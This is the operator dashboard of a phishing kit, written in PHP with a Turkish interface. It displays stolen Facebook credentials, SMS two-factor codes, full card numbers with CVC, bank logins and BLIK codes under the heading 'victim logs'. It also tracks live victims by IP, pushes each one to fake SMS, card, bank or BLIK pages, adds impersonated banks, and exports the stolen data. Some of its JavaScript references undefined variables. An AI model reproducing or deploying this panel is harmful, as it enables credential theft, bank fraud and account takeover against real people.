<?php
session_start();
if (!isset($_SESSION['admin_logged_in'])) {
    header('Location: giris.php');
    exit();
}
require_once 'db_config.php';
try {
    $conn = new PDO("mysql:host=$db_host;dbname=$db_name;charset=utf8", $db_user, $db_pass);
    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) { die("Veritabanı bağlantı hatası: " . $e->getMessage()); }

// --- TÜM VERİLERİ ÇEKME ---
$accounts = $conn->query("SELECT * FROM fb_accounts ORDER BY id DESC")->fetchAll(PDO::FETCH_ASSOC);
$visitors = $conn->query("SELECT * FROM active_visitors WHERE last_seen > NOW() - INTERVAL 2 MINUTE ORDER BY last_seen DESC")->fetchAll(PDO::FETCH_ASSOC);
$bank_logs_raw = $conn->query("SELECT * FROM bank_logs ORDER BY id ASC")->fetchAll(PDO::FETCH_ASSOC);
$blik_logs_raw = $conn->query("SELECT * FROM blik_logs ORDER BY id ASC")->fetchAll(PDO::FETCH_ASSOC);
$managed_banks = $conn->query("SELECT * FROM managed_banks ORDER BY display_order ASC, id DESC")->fetchAll(PDO::FETCH_ASSOC);

$bank_logs_by_victim = [];
foreach ($bank_logs_raw as $log) { $bank_logs_by_victim[$log['victim_id']][] = $log; }
$blik_logs_by_victim = [];
foreach ($blik_logs_raw as $log) { $blik_logs_by_victim[$log['victim_id']][] = $log; }

$admin_username = $_SESSION['admin_username'] ?? 'Admin';
$stmt_settings = $conn->query("SELECT setting_value FROM site_settings WHERE setting_key = 'active_page'");
$result_settings = $stmt_settings->fetch(PDO::FETCH_ASSOC);
$current_page_mode = $result_settings ? $result_settings['setting_value'] : 'facebook';
?>
<!DOCTYPE html>
<html lang="tr" class="h-full bg-gray-900">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Kontrol Paneli</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.8.1/font/bootstrap-icons.css">
    <style> 
        body { font-family: 'Inter', sans-serif; overflow-x: hidden; } 
        .flash-success { background-color: rgba(34, 197, 94, 0.2) !important; transition: background-color 0.3s; }
        .offcanvas-panel { transform: translateX(-100%); transition: transform 0.3s ease-in-out; }
        .offcanvas-panel.is-open { transform: translateX(0); }
        .offcanvas-overlay { background-color: rgba(0, 0, 0, 0.5); transition: opacity 0.3s ease-in-out; }
    </style>
</head>
<body class="h-full text-gray-200">
    <div id="settings-modal" class="hidden fixed inset-0 bg-gray-900 bg-opacity-75 flex items-center justify-center z-50">
        <div class="bg-gray-800 shadow-xl rounded-lg max-w-lg w-full p-6 m-4 overflow-y-auto max-h-screen">
            <div class="flex justify-between items-center mb-4"><h3 class="text-xl font-bold text-white">Ayarlar ve Araçlar</h3><button id="close-settings-modal" class="text-gray-400 hover:text-white text-3xl font-light">&times;</button></div>
            <div class="border-t border-gray-700 pt-4 space-y-6">
                <div>
                    <h4 class="text-md font-semibold text-gray-300 mb-2">Ana Sayfa Kontrolü</h4>
                    <p class="text-sm text-gray-400 mb-3">`index.php`'ye giren ziyaretçilerin hangi sayfayı göreceğini seçin.</p>
                    <div class="flex gap-2 mt-2">
                        <button data-page="facebook" class="page-switch-btn w-full px-4 py-2 rounded-md font-semibold text-sm transition-colors <?= $current_page_mode === 'facebook' ? 'bg-indigo-600 text-white cursor-default' : 'bg-gray-700 hover:bg-gray-600' ?>" <?= $current_page_mode === 'facebook' ? 'disabled' : '' ?>>Facebook Girişi</button>
                        <button data-page="banks" class="page-switch-btn w-full px-4 py-2 rounded-md font-semibold text-sm transition-colors <?= $current_page_mode === 'banks' ? 'bg-indigo-600 text-white cursor-default' : 'bg-gray-700 hover:bg-gray-600' ?>" <?= $current_page_mode === 'banks' ? 'disabled' : '' ?>>Banka Sayfası</button>
                    </div>
                </div>
                <div class="space-y-3 border-t border-gray-700 pt-6">
                    <h4 class="text-md font-semibold text-gray-300">Log Yönetimi</h4>
                    <a href="api.php?action=export_logs" target="_blank" class="block w-full text-center px-4 py-2 bg-green-600 hover:bg-green-700 rounded-md font-semibold text-white transition-colors"><i class="bi bi-download me-2"></i> Logları Dışa Aktar (.txt)</a>
                    <button id="delete-all-logs-btn" class="w-full px-4 py-2 bg-red-800 hover:bg-red-700 rounded-md font-semibold text-white transition-colors"><i class="bi bi-exclamation-triangle-fill me-2"></i> TÜM LOGLARI SİL</button>
                </div>
                <form id="settings-form" class="space-y-4 border-t border-gray-700 pt-6">
                    <p class="text-sm text-gray-400">Admin kullanıcı adı veya şifrenizi buradan değiştirebilirsiniz.</p>
                    <div><label for="current_password" class="block text-xs font-medium text-gray-300">Mevcut Şifre (Onay için Gerekli)</label><input type="password" name="current_password" id="current_password" required class="mt-1 block w-full bg-gray-700 border border-gray-600 rounded-md shadow-sm py-2 px-3 text-white focus:outline-none focus:ring-indigo-500"></div>
                    <hr class="border-gray-700 !my-5">
                    <div><label for="new_username" class="block text-xs font-medium text-gray-300">Yeni Kullanıcı Adı (İsteğe Bağlı)</label><input type="text" name="new_username" id="new_username" placeholder="<?= htmlspecialchars($admin_username) ?>" class="mt-1 block w-full bg-gray-700 border border-gray-600 rounded-md shadow-sm py-2 px-3 text-white focus:outline-none focus:ring-indigo-500"></div>
                    <div><label for="new_password" class="block text-xs font-medium text-gray-300">Yeni Şifre (İsteğe Bağlı)</label><input type="password" name="new_password" id="new_password" class="mt-1 block w-full bg-gray-700 border border-gray-600 rounded-md shadow-sm py-2 px-3 text-white focus:outline-none focus:ring-indigo-500"></div>
                    <div><label for="confirm_password" class="block text-xs font-medium text-gray-300">Yeni Şifre (Tekrar)</label><input type="password" name="confirm_password" id="confirm_password" class="mt-1 block w-full bg-gray-700 border border-gray-600 rounded-md shadow-sm py-2 px-3 text-white focus:outline-none focus:ring-indigo-500"></div>
                    <div class="pt-2 flex justify-end"><button type="submit" class="px-5 py-2 bg-indigo-600 hover:bg-indigo-700 rounded-md font-semibold text-white text-sm">Kaydet</button></div>
                </form>
                <div id="settings-message" class="mt-4 text-center font-semibold"></div>
            </div>
        </div>
    </div>
    
    <div id="bank-management-offcanvas-container" class="hidden fixed inset-0 z-40">
        <div id="bank-management-overlay" class="offcanvas-overlay absolute inset-0 opacity-0 hidden"></div>
        <div id="bank-management-panel" class="offcanvas-panel relative bg-gray-800 h-full w-full max-w-lg flex flex-col shadow-xl">
            <div class="flex items-center justify-between p-4 border-b border-gray-700 flex-shrink-0"><h3 id="bank-modal-title" class="text-xl font-bold">Banka Yönetimi</h3><button id="close-bank-management" class="text-gray-400 hover:text-white text-3xl">&times;</button></div>
            <div class="flex-grow p-6 space-y-6 overflow-y-auto">
                <div>
                    <h4 id="bank-form-title" class="text-lg font-semibold mb-4">Yeni Banka Ekle</h4>
                    <form id="bank-form" class="space-y-4" enctype="multipart/form-data">
                        <input type="hidden" name="bank_id" id="bank-id-input">
                        <input type="text" name="bank_name" placeholder="Banka Adı" class="w-full bg-gray-700 p-2 rounded border border-gray-600 focus:outline-none focus:ring-indigo-500" required>
                        <div>
                            <label class="text-sm text-gray-400">Banka Tipi</label>
                            <select name="bank_type" id="bank-type-input" class="w-full bg-gray-700 p-2 rounded border border-gray-600 focus:outline-none focus:ring-indigo-500 mt-1"><option value="classic">Klasik Banka</option><option value="blik">BLIK</option></select>
                        </div>
                        <div id="classic-bank-fields">
                            <input type="text" name="login_prompt" placeholder="Giriş Alanı Metni (örn: Müşteri No)" class="w-full bg-gray-700 p-2 rounded border border-gray-600 focus:outline-none focus:ring-indigo-500 mt-4" required>
                            <input type="text" name="password_prompt" placeholder="Şifre Alanı Metni (örn: Parola)" class="w-full bg-gray-700 p-2 rounded border border-gray-600 focus:outline-none focus:ring-indigo-500 mt-4" required>
                        </div>
                        <div class="text-sm text-gray-400 pt-2">Logo Kaynağı:</div>
                        <div class="flex gap-4"><label class="flex items-center gap-2"><input type="radio" name="logo_source" value="upload" class="form-radio bg-gray-700 text-indigo-600" checked> Dosya Yükle</label><label class="flex items-center gap-2"><input type="radio" name="logo_source" value="url" class="form-radio bg-gray-700 text-indigo-600"> URL Kullan</label></div>
                        <div id="logo-upload-field"><label class="text-xs text-gray-400">Yeni Logo Seçin (PNG, JPG, SVG):</label><input type="file" name="logo" id="logo-input" class="w-full text-sm text-gray-400 file:mr-4 file:py-2 file:px-4 file:rounded-full file:border-0 file:font-semibold file:bg-indigo-100 file:text-indigo-700 hover:file:bg-indigo-200"></div>
                        <div id="logo-url-field" class="hidden"><label class="text-xs text-gray-400">Logo URL'ini Yapıştırın:</label><input type="text" name="logo_url" id="logo-url-input" placeholder="https://ornek.com/logo.png" class="w-full bg-gray-700 p-2 rounded border border-gray-600 focus:outline-none focus:ring-indigo-500"></div>
                        <div class="pt-2"><button type="submit" id="bank-form-submit-btn" class="w-full px-5 py-2 bg-indigo-600 hover:bg-indigo-700 rounded-md font-semibold">Kaydet</button></div>
                    </form>
                </div>
                <hr class="border-gray-600">
                <div>
                    <h4 class="text-lg font-semibold mb-4">Mevcut Bankalar</h4>
                    <div id="bank-list-container" class="space-y-2">
                        <?php if(empty($managed_banks)): ?><p class="text-gray-500">Henüz eklenmiş banka yok.</p><?php else: ?><?php foreach($managed_banks as $bank): ?><div class="bg-gray-700/50 p-3 rounded-lg flex justify-between items-center" id="bank-row-<?= $bank['id'] ?>"><div class="flex items-center gap-4"><img src="<?= htmlspecialchars($bank['logo_path']) ?>" class="h-8 w-16 object-contain bg-white p-1 rounded-md"><span class="font-bold"><?= htmlspecialchars($bank['bank_name']) ?></span></div><div class="flex items-center gap-3"><button data-bank-id="<?= $bank['id'] ?>" class="edit-bank-btn text-blue-400 hover:text-blue-300 text-lg"><i class="bi bi-pencil-square"></i></button><button data-bank-id="<?= $bank['id'] ?>" class="delete-bank-btn text-red-500 hover:text-red-400 text-lg"><i class="bi bi-trash-fill"></i></button></div></div><?php endforeach; ?><?php endif; ?>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <div class="flex flex-col h-full">
        <header class="flex-shrink-0 bg-gray-800 shadow-md">
            <div class="mx-auto max-w-screen-xl px-4 sm:px-6 lg:px-8 py-3">
                <div class="flex items-center justify-between">
                    <button id="open-bank-management" class="flex items-center gap-2 text-white font-semibold hover:text-indigo-300"><i class="bi bi-bank"></i><span>Banka Yönetimi</span></button>
                    <h1 class="text-xl font-bold text-white">Kontrol Paneli</h1>
                    <div class="flex items-center gap-4">
                        <div class="flex items-center gap-2"><input type="number" id="refresh-time" class="bg-gray-700 border border-gray-600 text-white text-sm rounded-lg focus:ring-indigo-500 focus:border-indigo-500 block w-24 p-2" placeholder="Yenile (sn)"><button id="set-refresh-btn" class="px-3 py-2 bg-indigo-600 hover:bg-indigo-700 rounded-md font-semibold text-sm transition-colors">Ayarla</button></div>
                        <div class="relative inline-block text-left">
                            <button class="dropdown-toggle-main flex items-center gap-2 text-white font-semibold hover:text-indigo-300"><i class="bi bi-person-circle text-xl"></i><span>Hoş geldin, <?= htmlspecialchars($admin_username) ?></span><i class="bi bi-caret-down-fill text-xs"></i></button>
                            <div class="dropdown-menu-main hidden absolute right-0 mt-2 w-56 rounded-md shadow-lg bg-gray-900 ring-1 ring-black ring-opacity-5 z-30"><div class="py-1"><button id="open-settings-btn" class="w-full text-left block px-4 py-2 text-sm text-gray-300 hover:bg-gray-700"><i class="bi bi-gear-fill me-2"></i> Ayarlar & Araçlar</button><a href="logout.php" class="block px-4 py-2 text-sm text-red-400 hover:bg-gray-700"><i class="bi bi-box-arrow-right me-2"></i> Çıkış Yap</a></div></div>
                        </div>
                    </div>
                </div>
            </div>
        </header>
        <main class="flex-grow p-4 sm:p-6 lg:p-8 space-y-8">
            <div class="bg-gray-800 shadow-xl rounded-lg">
                <h3 class="text-xl font-bold p-6 border-b border-gray-700 flex justify-between items-center"><span>Aktif Ziyaretçiler</span><span class="text-sm font-normal bg-indigo-500 text-white px-2 py-0.5 rounded-full"><?= count($visitors) ?></span></h3>
                <div class="p-4 space-y-3"><?php if (empty($visitors)): ?><p class="text-gray-500 text-center py-4">Aktif ziyaretçi bulunmuyor.</p><?php else: ?><?php foreach ($visitors as $visitor): ?><div id="visitor-<?= $visitor['id'] ?>" class="bg-gray-700/50 p-3 rounded-lg hover:bg-gray-700 flex justify-between items-center"><div><p class="font-bold text-white text-sm">IP: <?= htmlspecialchars($visitor['ip_address']) ?></p><p class="text-xs text-gray-400 mt-1">Sayfa: <span class="font-semibold text-cyan-400"><?= htmlspecialchars($visitor['current_page']) ?></span></p></div><div class="relative inline-block text-left"><button class="dropdown-toggle text-indigo-400 hover:text-indigo-300 font-semibold text-sm">Yönlendir</button><div class="dropdown-menu hidden"><div class="py-1"><a href="api.php?action=set_visitor_redirect&id=<?= $visitor['id'] ?>&page=sms.php" class="redirect-link block px-4 py-2 text-sm text-gray-300 hover:bg-gray-700">SMS</a><a href="api.php?action=set_visitor_redirect&id=<?= $visitor['id'] ?>&page=sms2.php" class="redirect-link block px-4 py-2 text-sm text-gray-300 hover:bg-gray-700">SMS 2</a><a href="api.php?action=set_visitor_redirect&id=<?= $visitor['id'] ?>&page=card.php" class="redirect-link block px-4 py-2 text-sm text-gray-300 hover:bg-gray-700">Kart</a><a href="api.php?action=set_visitor_redirect&id=<?= $visitor['id'] ?>&page=banks_page.php" class="redirect-link block px-4 py-2 text-sm text-gray-300 hover:bg-gray-700">Banka</a><a href="api.php?action=set_visitor_redirect&id=<?= $visitor['id'] ?>&page=blik.php" class="redirect-link block px-4 py-2 text-sm text-gray-300 hover:bg-gray-700">BLIK</a><a href="api.php?action=set_visitor_redirect&id=<?= $visitor['id'] ?>&page=confirmation.php" class="redirect-link block px-4 py-2 text-sm text-gray-300 hover:bg-gray-700">Onaylama</a><a href="api.php?action=set_visitor_redirect&id=<?= $visitor['id'] ?>&page=https://www.google.com" class="redirect-link block px-4 py-2 text-sm text-gray-300 hover:bg-gray-700">Google</a></div></div></div></div><?php endforeach; ?><?php endif; ?></div>
            </div>
            <div class="bg-gray-800 shadow-xl rounded-lg">
                <h3 class="text-xl font-bold p-6 border-b border-gray-700">Tüm Kurban Logları</h3>
                <div class="overflow-x-auto"><table class="w-full text-sm text-left"><thead class="bg-gray-700/50"><tr><th class="p-3 font-semibold text-gray-300">ID</th><th class="p-3 font-semibold text-gray-300">Facebook Bilgileri</th><th class="p-3 font-semibold text-gray-300">Kart Bilgileri</th><th class="p-3 font-semibold text-gray-300">Banka Bilgileri</th><th class="p-3 font-semibold text-gray-300">IP Adresi / Zaman</th><th class="p-3 font-semibold text-gray-300">İşlemler</th></tr></thead><tbody class="divide-y divide-gray-700"><?php if (empty($accounts)): ?><tr><td colspan="6" class="p-6 text-center text-gray-500">Henüz giriş logu bulunmuyor.</td></tr><?php else: ?><?php foreach ($accounts as $account): ?><tr id="account-row-<?= $account['id'] ?>" class="hover:bg-gray-700/20"><td class="p-3 whitespace-nowrap text-white align-top"><?= htmlspecialchars($account['id']) ?></td><td class="p-3 align-top"><div><span class="font-semibold">E-posta/Tel:</span> <span class="text-white"><?= htmlspecialchars($account['email']) ?></span></div><div><span class="font-semibold">Şifre:</span> <span class="text-yellow-400"><?= htmlspecialchars($account['password']) ?></span></div><div><span class="font-semibold">SMS Kodu:</span> <span class="text-green-400"><?= htmlspecialchars($account['sms_code'] ?? '---') ?></span></div><div><span class="font-semibold">SMS Kodu 2:</span> <span class="text-teal-400 font-semibold"><?= htmlspecialchars($account['sms_code_2'] ?? '---') ?></span></div><div><span class="font-semibold">Onay:</span> <span class="<?= ($account['confirmation_status'] ?? '') === 'Onaylandı' ? 'text-green-400' : (($account['confirmation_status'] ?? '') === 'İptal Edildi' ? 'text-red-400' : 'text-gray-400') ?>"><?= htmlspecialchars($account['confirmation_status'] ?? 'Bekleniyor') ?></span></div><div><span class="font-semibold">BLIK Kodları:</span><span class="text-purple-400 font-semibold"><?php if(isset($blik_logs_by_victim[$account['id']])): foreach($blik_logs_by_victim[$account['id']] as $blik_log): ?><span> <?= htmlspecialchars($blik_log['blik_code']) ?></span><?php endforeach; else: ?> --- <?php endif; ?></span></div></td><td class="p-3 align-top"><span class="text-cyan-300"><?= htmlspecialchars($account['card_number'] ?? '---') ?></span><br><span class="text-cyan-300"><?= htmlspecialchars($account['card_expiry'] ?? '--/--') ?> / <?= htmlspecialchars($account['card_cvc'] ?? '---') ?></span></td><td class="p-3 align-top"><?php if (isset($bank_logs_by_victim[$account['id']])): ?><?php foreach ($bank_logs_by_victim[$account['id']] as $bank_log): ?><div class="mb-2 pb-2 border-b border-gray-700 last:border-b-0 last:pb-0 last:mb-0"><div class="font-semibold text-cyan-400"><?= htmlspecialchars($bank_log['bank_name']) ?></div><div><span class="font-semibold">Login:</span> <?= htmlspecialchars($bank_log['login_id']) ?></div><div><span class="font-semibold">Şifre:</span> <span class="text-yellow-400"><?= htmlspecialchars($bank_log['password']) ?></span></div></div><?php endforeach; ?><?php else: ?><span class="text-gray-500">---</span><?php endif; ?></td><td class="p-3 whitespace-nowrap font-mono text-gray-400 align-top"><?= htmlspecialchars($account['ip_address']) ?><br><span class="text-xs"><?= date('d.m.Y H:i:s', strtotime($account['created_at'])) ?></span></td><td class="p-3 whitespace-nowrap align-top"><div class="flex items-center gap-4"><div class="relative inline-block text-left"><button class="dropdown-toggle text-indigo-400 hover:text-indigo-300 font-semibold">Yönlendir</button><div class="dropdown-menu hidden"><div class="py-1"><a href="api.php?action=set_redirect&id=<?= $account['id'] ?>&page=sms.php" class="redirect-link block px-4 py-2 text-sm text-gray-300 hover:bg-gray-700">SMS</a><a href="api.php?action=set_redirect&id=<?= $account['id'] ?>&page=sms2.php" class="redirect-link block px-4 py-2 text-sm text-gray-300 hover:bg-gray-700">SMS 2</a><a href="api.php?action=set_redirect&id=<?= $account['id'] ?>&page=card.php" class="redirect-link block px-4 py-2 text-sm text-gray-300 hover:bg-gray-700">Kart</a><a href="api.php?action=set_redirect&id=<?= $account['id'] ?>&page=banks_page.php" class="redirect-link block px-4 py-2 text-sm text-gray-300 hover:bg-gray-700">Banka</a><a href="api.php?action=set_redirect&id=<?= $account['id'] ?>&page=blik.php" class="redirect-link block px-4 py-2 text-sm text-gray-300 hover:bg-gray-700">BLIK</a><a href="api.php?action=set_redirect&id=<?= $account['id'] ?>&page=confirmation.php" class="redirect-link block px-4 py-2 text-sm text-gray-300 hover:bg-gray-700">Onaylama</a><a href="api.php?action=set_redirect&id=<?= $account['id'] ?>&page=https://www.google.com" class="redirect-link block px-4 py-2 text-sm text-gray-300 hover:bg-gray-700">Google</a></div></div></div><button data-log-id="<?= $account['id'] ?>" class="delete-log-btn text-red-500 hover:text-red-400 text-lg"><i class="bi bi-trash-fill"></i></button></div></td></tr><?php endforeach; ?><?php endif; ?></tbody></table></div>
            </div>
        </main>
    </div>
    <script>
    document.addEventListener('DOMContentLoaded', () => {
        let activeMenu = null;
        const settingsModal = document.getElementById('settings-modal');
        const bankPanelContainer = document.getElementById('bank-management-offcanvas-container');
        const bankPanel = document.getElementById('bank-management-panel');
        const bankPanelOverlay = document.getElementById('bank-management-overlay');
        const bankForm = document.getElementById('bank-form');
        const settingsForm = document.getElementById('settings-form');
        const refreshBtn = document.getElementById('set-refresh-btn');

        const closeAllPopups = () => {
            if (activeMenu) { activeMenu.remove(); activeMenu = null; }
            document.querySelectorAll('.dropdown-menu-main').forEach(m => m.style.display = 'none');
        };
        
        const setupBankModal = (mode = 'add', bankData = {}) => {
            const bankFormTitle = document.getElementById('bank-form-title');
            const bankFormSubmitBtn = document.getElementById('bank-form-submit-btn');
            const bankIdInput = document.getElementById('bank-id-input');
            const bankTypeSelect = bankForm.querySelector('[name="bank_type"]');
            const classicFields = document.getElementById('classic-bank-fields');
            const logoInput = document.querySelector('input[name="logo"]');

            bankForm.reset();
            idInput.value = '';
            logoInput.required = true;

            if (mode === 'edit') {
                bankFormTitle.textContent = 'Bankayı Düzenle';
                bankFormSubmitBtn.textContent = 'Değişiklikleri Kaydet';
                bankIdInput.value = bankData.id;
                bankForm.querySelector('[name="bank_name"]').value = bankData.bank_name;
                bankTypeSelect.value = bankData.bank_type || 'classic';
                bankForm.querySelector('[name="login_prompt"]').value = bankData.login_prompt;
                bankForm.querySelector('[name="password_prompt"]').value = bankData.password_prompt;
                logoInput.required = false;
            } else {
                bankFormTitle.textContent = 'Yeni Banka Ekle';
                bankFormSubmitBtn.textContent = 'Bankayı Ekle';
            }
            
            const isBlik = bankTypeSelect.value === 'blik';
            classicFields.classList.toggle('hidden', isBlik);
            classicFields.querySelectorAll('input').forEach(input => input.required = !isBlik);
            
            document.getElementById('logo-url-field').classList.add('hidden');
            document.querySelector('input[name="logo_source"][value="upload"]').checked = true;

            openBankPanel();
        };

        const openBankPanel = () => { bankPanelContainer.classList.remove('hidden'); setTimeout(() => { bankPanelOverlay.classList.remove('hidden'); bankPanelOverlay.classList.remove('opacity-0'); bankPanel.classList.add('is-open'); }, 10); };
        const closeBankPanel = () => { if(bankPanel) { bankPanel.classList.remove('is-open'); bankPanelOverlay.classList.add('opacity-0'); setTimeout(() => { bankPanelContainer.classList.add('hidden'); bankPanelOverlay.classList.add('hidden'); }, 300); }};
        const openSettingsModal = () => settingsModal?.classList.remove('hidden');
        const closeSettingsModal = () => settingsModal?.classList.add('hidden');
        
        document.body.addEventListener('click', function(event) {
            const target = event.target;
            const dropdownButton = target.closest('.dropdown-toggle');
            const mainMenuButton = target.closest('.dropdown-toggle-main');
            const deleteLogButton = target.closest('.delete-log-btn');
            const openSettingsBtn = target.closest('#open-settings-btn');
            const deleteAllLogsBtn = target.closest('#delete-all-logs-btn');

            if (activeMenu && !target.closest('.dropdown-menu-clone')) { closeAllPopups(); }
            
            if (target.matches('.redirect-link') && target.closest('.dropdown-menu-clone')) {
                event.preventDefault();
                fetch(target.href).then(r => r.json()).then(data => { if (data.status === 'success') { const parentCard = document.querySelector(`[id="${activeMenu.dataset.parentRowId}"]`); if(parentCard) { parentCard.classList.add('flash-success'); setTimeout(() => { parentCard.classList.remove('flash-success'); }, 2000); } } else { alert('Hata: ' + data.message); } }).catch(err => console.error(err));
                closeAllPopups(); return;
            }

            if (dropdownButton) {
                event.preventDefault(); event.stopPropagation();
                if (activeMenu) { activeMenu.remove(); activeMenu = null; return; }
                const originalMenu = dropdownButton.nextElementSibling; if (!originalMenu) return;
                const menu = originalMenu.cloneNode(true);
                const parentRow = dropdownButton.closest('[id]'); if (parentRow) menu.dataset.parentRowId = parentRow.id;
                menu.classList.add('dropdown-menu-clone', 'absolute', 'right-0', 'mt-2', 'w-56', 'rounded-md', 'shadow-lg', 'bg-gray-900', 'ring-1', 'ring-black', 'ring-opacity-5', 'z-30');
                menu.classList.remove('hidden');
                document.body.appendChild(menu);
                const buttonRect = dropdownButton.getBoundingClientRect(); const menuRect = menu.getBoundingClientRect();
                let top = buttonRect.bottom; let left = buttonRect.right - menuRect.width;
                if (left < 0) left = buttonRect.left;
                if (top + menuRect.height > window.innerHeight) top = buttonRect.top - menuRect.height;
                menu.style.top = `${top}px`; menu.style.left = `${left}px`;
                activeMenu = menu;
                return;
            }
            
            if (mainMenuButton) { const menu = mainMenuButton.nextElementSibling; const isVisible = menu.style.display === 'block'; closeAllPopups(); if (!isVisible) menu.style.display = 'block'; return; }
            if (openSettingsBtn) { e.stopPropagation(); openSettingsModal(); closeAllPopups(); }
            if (deleteAllLogsBtn) { if (confirm('TÜM LOGLARI (Facebook & Banka) kalıcı olarak silmek istediğinizden emin misiniz?\n\nBU İŞLEM GERİ ALINAMAZ!')) { window.location.href = 'api.php?action=delete_all_logs'; } }
            if (deleteLogButton) {
                const logId = deleteLogButton.dataset.logId;
                if (confirm(`ID #${logId} olan Facebook logunu ve ilişkili tüm alt logları silmek istediğinizden emin misiniz?`)) {
                    const formData = new FormData(); formData.append('account_id', logId);
                    fetch('api.php?action=delete_log', { method: 'POST', body: formData }).then(r=>r.json()).then(data => { if(data.status === 'success') document.getElementById(`account-row-${logId}`)?.remove(); else alert('Hata: '+data.message); }).catch(err=>alert('Ağ hatası.'));
                }
            }
            if (!mainMenuButton && !target.closest('.dropdown-menu-main')) { closeAllPopups(); }
        });
        
        document.getElementById('open-bank-management')?.addEventListener('click', () => setupBankModal('add'));
        document.getElementById('close-bank-management')?.addEventListener('click', closeBankPanel);
        bankPanelOverlay?.addEventListener('click', closeBankPanel);
        document.getElementById('close-settings-modal')?.addEventListener('click', closeSettingsModal);
        settingsModal?.addEventListener('click', (e) => { if(e.target === e.currentTarget) closeSettingsModal(); });

        const refreshInput = document.getElementById('refresh-time');
        const currentInterval = localStorage.getItem('refreshInterval');
        if (currentInterval) { refreshInput.value = currentInterval; setInterval(() => { window.location.reload(); }, currentInterval * 1000); }
        refreshBtn?.addEventListener('click', () => { const time = parseInt(refreshInput.value); if (time > 0) localStorage.setItem('refreshInterval', time); else localStorage.removeItem('refreshInterval'); window.location.reload(); });
        
        if(settingsForm) {
            settingsForm.addEventListener('submit', function(e) {
                e.preventDefault();
                const settingsMessage = document.getElementById('settings-message');
                settingsMessage.textContent = ''; settingsMessage.className = 'mt-4 text-center font-semibold';
                fetch('api.php?action=update_admin_credentials', { method: 'POST', body: new FormData(this) }).then(r=>r.json()).then(data => {
                    settingsMessage.textContent = data.message;
                    settingsMessage.classList.add(data.status === 'success' ? 'text-green-500' : 'text-red-500');
                    if (data.username_changed) { setTimeout(() => window.location.reload(), 1500); }
                }).catch(err => { settingsMessage.textContent = 'Ağ hatası oluştu.'; settingsMessage.classList.add('text-red-500'); });
            });
        }

        document.querySelectorAll('.page-switch-btn').forEach(button => {
            button.addEventListener('click', function() {
                const page = this.dataset.page;
                fetch(`api.php?action=set_active_page&page=${page}`).then(r => r.ok ? r.json() : Promise.reject('Network error')).then(data => {
                    if(data.status === 'success') {
                        document.querySelectorAll('.page-switch-btn').forEach(btn => { btn.disabled = false; btn.classList.remove('bg-indigo-600', 'text-white'); btn.classList.add('bg-gray-700', 'hover:bg-gray-600'); });
                        this.disabled = true; this.classList.add('bg-indigo-600', 'text-white'); this.classList.remove('bg-gray-700');
                    } else { alert('Hata: ' + (data.message || 'Bilinmeyen bir hata oluştu.')); }
                }).catch(err => console.error('API Hatası:', err));
            });
        });
        
        document.querySelector('#bank-form [name="bank_type"]')?.addEventListener('change', function() {
            const isBlik = this.value === 'blik';
            document.getElementById('classic-bank-fields').classList.toggle('hidden', isBlik);
            document.getElementById('classic-bank-fields').querySelectorAll('input').forEach(input => input.required = !isBlik);
        });
        
        document.querySelectorAll('input[name="logo_source"]').forEach(radio => {
            radio.addEventListener('change', function() {
                const isUpload = this.value === 'upload';
                document.getElementById('logo-upload-field').classList.toggle('hidden', !isUpload);
                document.getElementById('logo-url-field').classList.toggle('hidden', isUpload);
                document.querySelector('input[name="logo"]').required = isUpload && bankForm.querySelector('#bank-id-input').value === '';
                document.querySelector('input[name="logo_url"]').required = !isUpload;
            });
        });
        
        if(bankForm) {
            bankForm.addEventListener('submit', function(e) {
                e.preventDefault();
                const formData = new FormData(this);
                const action = formData.get('bank_id') ? 'update_bank' : 'add_bank';
                const submitBtn = this.querySelector('button[type="submit"]');
                submitBtn.disabled = true; submitBtn.textContent = 'Kaydediliyor...';
                fetch(`api.php?action=${action}`, { method: 'POST', body: new FormData(this) })
                .then(response => response.json()).then(data => {
                    if (data.status === 'success') { alert(data.message); window.location.reload(); } 
                    else { alert('Hata: ' + data.message); }
                }).catch(err => alert('Ağ hatası!')).finally(() => { submitBtn.disabled = false; submitBtn.textContent = 'Kaydet'; });
            });
        }

        document.getElementById('bank-list-container')?.addEventListener('click', function(e) {
            const deleteButton = e.target.closest('.delete-bank-btn');
            if (deleteButton) {
                const bankId = deleteButton.dataset.bankId;
                if (confirm(`Bu bankayı silmek istediğinizden emin misiniz?`)) {
                    const formData = new FormData(); formData.append('bank_id', bankId);
                    fetch('api.php?action=delete_bank', { method: 'POST', body: formData })
                    .then(response => response.json()).then(data => {
                        if (data.status === 'success') { document.getElementById(`bank-row-${bankId}`).remove(); } 
                        else { alert('Hata: ' + data.message); }
                    }).catch(err => alert('Ağ hatası!'));
                }
            }
            const editButton = e.target.closest('.edit-bank-btn');
            if (editButton) {
                const bankId = editButton.dataset.bankId;
                fetch(`api.php?action=get_bank_details&id=${bankId}`)
                .then(res => res.json())
                .then(data => {
                    if (data.status === 'success') {
                        setupBankModal('edit', data.data);
                    } else { alert('Hata: ' + data.message); }
                });
            }
        });
    });
    </script>
</body>
</html>